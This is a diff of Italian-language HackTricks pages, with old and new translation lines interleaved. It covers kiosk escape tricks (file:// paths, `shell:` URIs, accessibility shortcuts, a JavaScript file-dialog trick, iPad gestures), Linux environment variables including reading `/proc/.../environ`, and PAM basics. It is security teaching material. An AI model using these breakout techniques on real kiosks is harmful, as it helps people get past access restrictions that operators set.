Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
### Accesso al filesystem dal browser
|
||||
|
||||
| PERCORSO | PERCORSO | PERCORSO | PERCORSO |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| ----------------------- | --------------------- | ---------------------- | ----------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
|
@ -111,21 +101,22 @@ Editor del Registro di sistema: [https://sourceforge.net/projects/uberregedit/](
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### Scorciatoie
|
||||
|
||||
* Sticky Keys – Premi SHIFT 5 volte
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* Alto Contrasto – SHIFT+ALT+PRINTSCN
|
||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – Tieni premuto NUMLOCK per 5 secondi
|
||||
* Filter Keys – Tieni premuto il tasto destro SHIFT per 12 secondi
|
||||
* WINDOWS+F1 – Ricerca Windows
|
||||
* Filter Keys – Tieni premuto SHIFT destro per 12 secondi
|
||||
* WINDOWS+F1 – Ricerca di Windows
|
||||
* WINDOWS+D – Mostra Desktop
|
||||
* WINDOWS+E – Avvia Esplora risorse di Windows
|
||||
* WINDOWS+E – Avvia Windows Explorer
|
||||
* WINDOWS+R – Esegui
|
||||
* WINDOWS+U – Centro facilità di accesso
|
||||
* WINDOWS+U – Centro accessibilità
|
||||
* WINDOWS+F – Cerca
|
||||
* SHIFT+F10 – Menu contestuale
|
||||
* CTRL+SHIFT+ESC – Task Manager
|
||||
* CTRL+SHIFT+ESC – Gestione attività
|
||||
* CTRL+ALT+DEL – Schermata di avvio nelle versioni più recenti di Windows
|
||||
* F1 – Aiuto F3 – Cerca
|
||||
* F6 – Barra degli indirizzi
|
||||
|
@ -133,36 +124,36 @@ Editor del Registro di sistema: [https://sourceforge.net/projects/uberregedit/](
|
|||
* CTRL+H – Cronologia di Internet Explorer
|
||||
* CTRL+T – Internet Explorer – Nuova scheda
|
||||
* CTRL+N – Internet Explorer – Nuova pagina
|
||||
* CTRL+O – Apri File
|
||||
* CTRL+O – Apri file
|
||||
* CTRL+S – Salva CTRL+N – Nuovo RDP / Citrix
|
||||
|
||||
### Swipe
|
||||
|
||||
* Scorri dal lato sinistro a quello destro per vedere tutte le finestre aperte, minimizzando l'applicazione KIOSK e accedendo direttamente a tutto il sistema operativo;
|
||||
* Scorri dal lato destro a sinistra per aprire il Centro notifiche, minimizzando l'applicazione KIOSK e accedendo direttamente a tutto il sistema operativo;
|
||||
* Scorri dal bordo superiore per rendere visibile la barra del titolo di un'app aperta in modalità schermo intero;
|
||||
* Scorri dal lato sinistro verso destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
* Scorri dal lato destro verso sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
* Scorri dal bordo superiore per rendere visibile la barra del titolo per un'app aperta in modalità schermo intero;
|
||||
* Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero.
|
||||
|
||||
### Trucchi per Internet Explorer
|
||||
### Trucchi di Internet Explorer
|
||||
|
||||
#### 'Barra degli strumenti delle immagini'
|
||||
#### 'Image Toolbar'
|
||||
|
||||
È una barra degli strumenti che appare in alto a sinistra dell'immagine quando viene cliccata. Sarai in grado di Salvare, Stampare, Inviare per posta, Aprire "Le mie immagini" in Esplora risorse. Il Kiosk deve utilizzare Internet Explorer.
|
||||
È una barra degli strumenti che appare in alto a sinistra dell'immagine quando viene cliccata. Sarai in grado di Salvare, Stampare, Inviare per email, Aprire "Le mie immagini" in Explorer. Il Kiosk deve utilizzare Internet Explorer.
|
||||
|
||||
#### Protocollo Shell
|
||||
|
||||
Digita questi URL per ottenere una visualizzazione di Esplora risorse:
|
||||
Digita questi URL per ottenere una vista di Explorer:
|
||||
|
||||
* `shell:Strumenti di amministrazione`
|
||||
* `shell:Strumenti amministrativi`
|
||||
* `shell:Libreria documenti`
|
||||
* `shell:Biblioteche`
|
||||
* `shell:Librerie`
|
||||
* `shell:Profili utente`
|
||||
* `shell:Personale`
|
||||
* `shell:Cartella home di ricerca`
|
||||
* `shell:Cartelle posta di rete`
|
||||
* `shell:Cerca nella cartella home`
|
||||
* `shell:Luoghi di rete`
|
||||
* `shell:Invia a`
|
||||
* `shell:Profili utente`
|
||||
* `shell:Strumenti di amministrazione comuni`
|
||||
* `shell:Profili utenti`
|
||||
* `shell:Strumenti amministrativi comuni`
|
||||
* `shell:Cartella computer`
|
||||
* `shell:Cartella Internet`
|
||||
* `Shell:Profilo`
|
||||
|
@ -172,49 +163,49 @@ Digita questi URL per ottenere una visualizzazione di Esplora risorse:
|
|||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie posizioni di rete
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> I miei luoghi di rete
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Mostra le estensioni dei file
|
||||
|
||||
Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## Trucchi per i browser
|
||||
## Trucchi dei browser
|
||||
|
||||
Backup delle versioni di iKat:
|
||||
Backup delle versioni iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
Crea una finestra di dialogo comune utilizzando JavaScript e accedi all'esplora risorse: `document.write('<input/type=file>')`\
|
||||
Crea un dialogo comune utilizzando JavaScript e accedi all'esplora file: `document.write('<input/type=file>')`\
|
||||
Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### Gesture e pulsanti
|
||||
|
||||
* Scorri verso l'alto con quattro (o cinque) dita / Doppio tocco sul pulsante Home: Per visualizzare la vista multitasking e cambiare app
|
||||
* Scorri da una parte all'altra con quattro o cinque dita: Per passare all'app successiva/precedente
|
||||
* Pizzica lo schermo con cinque dita / Tocca il pulsante Home / Scorri verso l'alto con 1 dito dal basso dello schermo in modo rapido verso l'alto: Per accedere alla Home
|
||||
* Scorri con un dito dal basso dello schermo solo 1-2 pollici (lentamente): Comparirà il dock
|
||||
* Scorri verso il basso dall'alto del display con 1 dito: Per visualizzare le notifiche
|
||||
* Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo di iPad Pro
|
||||
* Scorri con 1 dito dal lato sinistro dello schermo 1-2 pollici: Per visualizzare la vista di oggi
|
||||
* Scorri rapidamente con 1 dito dal centro dello schermo verso destra o sinistra: Per passare all'app successiva/precedente
|
||||
* Premi e tieni premuto il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad + Sposta il cursore Spegni tutto il modo a destra: Per spegnere
|
||||
* Premi il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad e il pulsante Home per alcuni secondi: Per forzare uno spegnimento
|
||||
* Premi il pulsante Accensione/Spegnimento nell'angolo superiore destro dell'iPad e il pulsante Home rapidamente: Per fare uno screenshot che comparirà nell'angolo in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento forzato.
|
||||
* Scorri verso l'alto con quattro (o cinque) dita / Tocca due volte il pulsante Home: Per visualizzare la vista multitasking e cambiare app
|
||||
* Scorri in un modo o nell'altro con quattro o cinque dita: Per cambiare all'app successiva/precedente
|
||||
* Pizzica lo schermo con cinque dita / Tocca il pulsante Home / Scorri verso l'alto con 1 dito dal fondo dello schermo in un movimento rapido verso l'alto: Per accedere alla Home
|
||||
* Scorri un dito dal fondo dello schermo per solo 1-2 pollici (lento): Apparirà il dock
|
||||
* Scorri verso il basso dall'alto del display con 1 dito: Per visualizzare le tue notifiche
|
||||
* Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo dell'iPad Pro
|
||||
* Scorri 1 dito dal lato sinistro dello schermo per 1-2 pollici: Per vedere la vista Oggi
|
||||
* Scorri rapidamente 1 dito dal centro dello schermo verso destra o sinistra: Per cambiare all'app successiva/precedente
|
||||
* Premi e tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore per **spegnere** tutto a destra: Per spegnere
|
||||
* Premi il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home per alcuni secondi**: Per forzare uno spegnimento completo
|
||||
* Premi rapidamente il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home**: Per fare uno screenshot che apparirà in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, poiché se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento completo.
|
||||
|
||||
### Scorciatoie
|
||||
|
||||
Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Qui verranno mostrate solo le scorciatoie che potrebbero aiutare a uscire dall'applicazione.
|
||||
Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'applicazione saranno mostrate qui.
|
||||
|
||||
| Tasto | Nome |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Comando |
|
||||
| ⌥ | Opzione (Alt) |
|
||||
| ⇧ | Maiusc |
|
||||
| ↩ | Invio |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Ritorno |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Controllo |
|
||||
| ← | Freccia sinistra |
|
||||
|
@ -224,74 +215,75 @@ Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Qui verra
|
|||
|
||||
#### Scorciatoie di sistema
|
||||
|
||||
Queste scorciatoie sono per le impostazioni visive e audio, a seconda dell'uso dell'iPad.
|
||||
Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso dell'iPad.
|
||||
|
||||
| Scorciatoia | Azione |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Abbassa luminosità schermo |
|
||||
| F2 | Aumenta luminosità schermo |
|
||||
| ----------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Abbassa la luminosità dello schermo |
|
||||
| F2 | Aumenta la luminosità dello schermo |
|
||||
| F7 | Torna indietro di una canzone |
|
||||
| F8 | Riproduci/metti in pausa |
|
||||
| F9 | Salta canzone |
|
||||
| F10 | Silenzia |
|
||||
| F11 | Diminuisci volume |
|
||||
| F12 | Aumenta volume |
|
||||
| ⌘ Spazio | Visualizza un elenco di lingue disponibili; per sceglierne una, tocca di nuovo il tasto spazio. |
|
||||
| F10 | Mute |
|
||||
| F11 | Diminuisci il volume |
|
||||
| F12 | Aumenta il volume |
|
||||
| ⌘ Spazio | Mostra un elenco delle lingue disponibili; per sceglierne una, tocca di nuovo la barra spaziatrice. |
|
||||
|
||||
#### Navigazione iPad
|
||||
#### Navigazione su iPad
|
||||
|
||||
| Scorciatoia | Azione |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ----------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Vai alla Home |
|
||||
| ⌘⇧H (Command-Shift-H) | Vai alla Home |
|
||||
| ⌘⇧H (Comando-Shift-H) | Vai alla Home |
|
||||
| ⌘ (Spazio) | Apri Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Elenca le ultime dieci app utilizzate |
|
||||
| ⌘⇥ (Comando-Tab) | Elenca le ultime dieci app utilizzate |
|
||||
| ⌘\~ | Vai all'ultima app |
|
||||
| ⌘⇧3 (Command-Shift-3) | Screenshot (compare in basso a sinistra per salvare o agire su di esso) |
|
||||
| ⌘⇧3 (Comando-Shift-3) | Screenshot (si ferma in basso a sinistra per salvare o agire su di esso) |
|
||||
| ⌘⇧4 | Screenshot e aprilo nell'editor |
|
||||
| Premi e tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Mostra il dock |
|
||||
| ^⌥H (Control-Option-H) | Pulsante Home |
|
||||
| ^⌥H H (Control-Option-H-H) | Mostra la barra multitasking |
|
||||
| ^⌥I (Control-Option-i) | Selettore di elementi |
|
||||
| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app |
|
||||
| ⌘⌥D (Comando-Opzione/Alt-D) | Mostra il dock |
|
||||
| ^⌥H (Controllo-Opzione-H) | Pulsante Home |
|
||||
| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking |
|
||||
| ^⌥I (Controllo-Opzione-i) | Selettore di elementi |
|
||||
| Escape | Pulsante Indietro |
|
||||
| → (Freccia destra) | Prossimo elemento |
|
||||
| ← (Freccia sinistra) | Elemento precedente |
|
||||
| ↑↓ (Freccia su, Freccia giù) | Tocca contemporaneamente l'elemento selezionato |
|
||||
| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato |
|
||||
| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso |
|
||||
| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto |
|
||||
| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra |
|
||||
| ^⌥S (Control-Option-S) | Attiva o disattiva la lettura del testo VoiceOver |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Passa all'app precedente |
|
||||
| ⌘⇥ (Command-Tab) | Torna all'app originale |
|
||||
| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale |
|
||||
| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente |
|
||||
| ⌘⇥ (Comando-Tab) | Torna all'app originale |
|
||||
| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock |
|
||||
#### Scorciatoie Safari
|
||||
|
||||
#### Scorciatoie di Safari
|
||||
|
||||
| Scorciatoia | Azione |
|
||||
| ------------------------ | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | Apri posizione |
|
||||
| -------------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Comando-L) | Apri posizione |
|
||||
| ⌘T | Apri una nuova scheda |
|
||||
| ⌘W | Chiudi la scheda corrente |
|
||||
| ⌘R | Aggiorna la scheda corrente |
|
||||
| ⌘. | Interrompi il caricamento della scheda corrente |
|
||||
| ⌘. | Ferma il caricamento della scheda corrente |
|
||||
| ^⇥ | Passa alla scheda successiva |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Passa alla scheda precedente |
|
||||
| ⌘L | Seleziona l'input di testo/campo URL per modificarlo |
|
||||
| ⌘⇧T (Command-Shift-T) | Apre l'ultima scheda chiusa (può essere utilizzato più volte) |
|
||||
| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente |
|
||||
| ⌘L | Seleziona il campo di input/testo URL per modificarlo |
|
||||
| ⌘⇧T (Comando-Shift-T) | Apri l'ultima scheda chiusa (può essere usata più volte) |
|
||||
| ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione |
|
||||
| ⌘] | Vai avanti di una pagina nella cronologia di navigazione |
|
||||
| ⌘⇧R | Attiva la modalità Lettore |
|
||||
| ⌘] | Avanza di una pagina nella cronologia di navigazione |
|
||||
| ⌘⇧R | Attiva la modalità lettore |
|
||||
|
||||
#### Scorciatoie Mail
|
||||
#### Scorciatoie di Mail
|
||||
|
||||
| Scorciatoia | Azione |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ------------------------- | ---------------------------- |
|
||||
| ⌘L | Apri posizione |
|
||||
| ⌘T | Apri una nuova scheda |
|
||||
| ⌘W | Chiudi la scheda corrente |
|
||||
| ⌘R | Aggiorna la scheda corrente |
|
||||
| ⌘. | Interrompi il caricamento della scheda corrente |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Cerca nella tua casella di posta |
|
||||
| ⌘. | Ferma il caricamento della scheda |
|
||||
| ⌘⌥F (Comando-Opzione/Alt-F) | Cerca nella tua casella di posta |
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -300,21 +292,11 @@ Queste scorciatoie sono per le impostazioni visive e audio, a seconda dell'uso d
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che ruba informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -322,7 +304,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Variabili di Ambiente Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,14 +15,6 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Gruppo Sicurezza Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Variabili globali
|
||||
|
||||
Le variabili globali **saranno** ereditate dai **processi figli**.
|
||||
|
@ -56,7 +48,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
```
|
||||
## Variabili comuni
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
Da: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – il display utilizzato da **X**. Questa variabile è solitamente impostata su **:0.0**, il che significa il primo display sul computer attuale.
|
||||
* **EDITOR** – l'editor di testo preferito dall'utente.
|
||||
|
@ -65,8 +57,8 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **HOME** – la tua directory home.
|
||||
* **HOSTNAME** – il nome host del computer.
|
||||
* **LANG** – la tua lingua attuale.
|
||||
* **MAIL** – la posizione della spool di posta dell'utente. Di solito **/var/spool/mail/USER**.
|
||||
* **MANPATH** – l'elenco delle directory da cercare per le pagine man.
|
||||
* **MAIL** – la posizione della cassetta postale dell'utente. Di solito **/var/spool/mail/USER**.
|
||||
* **MANPATH** – l'elenco delle directory da cercare per le pagine di manuale.
|
||||
* **OSTYPE** – il tipo di sistema operativo.
|
||||
* **PS1** – il prompt predefinito in bash.
|
||||
* **PATH** – memorizza il percorso di tutte le directory che contengono file binari che desideri eseguire semplicemente specificando il nome del file e non il percorso relativo o assoluto.
|
||||
|
@ -126,11 +118,6 @@ Un lavoro in background, uno fermato e l'ultimo comando non ha terminato corrett
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -142,7 +129,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,28 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Basic Information
|
||||
### Informazioni di base
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** funge da meccanismo di sicurezza che **verifica l'identità degli utenti che tentano di accedere ai servizi informatici**, controllando il loro accesso in base a vari criteri. È simile a un custode digitale, assicurando che solo gli utenti autorizzati possano interagire con servizi specifici, limitando potenzialmente il loro utilizzo per prevenire sovraccarichi di sistema.
|
||||
|
||||
#### Configuration Files
|
||||
#### File di configurazione
|
||||
|
||||
* I **sistemi Solaris e UNIX-based** utilizzano tipicamente un file di configurazione centrale situato in `/etc/pam.conf`.
|
||||
* I **sistemi Linux** preferiscono un approccio a directory, memorizzando configurazioni specifiche per i servizi all'interno di `/etc/pam.d`. Ad esempio, il file di configurazione per il servizio di login si trova in `/etc/pam.d/login`.
|
||||
* I **sistemi Linux** preferiscono un approccio basato su directory, memorizzando configurazioni specifiche per i servizi all'interno di `/etc/pam.d`. Ad esempio, il file di configurazione per il servizio di login si trova in `/etc/pam.d/login`.
|
||||
|
||||
Un esempio di configurazione PAM per il servizio di login potrebbe apparire così:
|
||||
```
|
||||
|
@ -69,37 +56,26 @@ I controlli determinano la risposta del modulo al successo o al fallimento, infl
|
|||
* **Sufficient**: Il successo bypassa il resto dei controlli dello stesso reame a meno che un modulo successivo non fallisca.
|
||||
* **Optional**: Causa fallimento solo se è l'unico modulo nello stack.
|
||||
|
||||
#### Scenario Esemplare
|
||||
#### Esempio di Scenario
|
||||
|
||||
In una configurazione con più moduli auth, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, gli accessi root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili di ambiente, potenzialmente aiutando nell'esperienza utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.
|
||||
In una configurazione con più moduli auth, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili di ambiente, potenzialmente aiutando nell'esperienza utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.
|
||||
|
||||
### Riferimenti
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
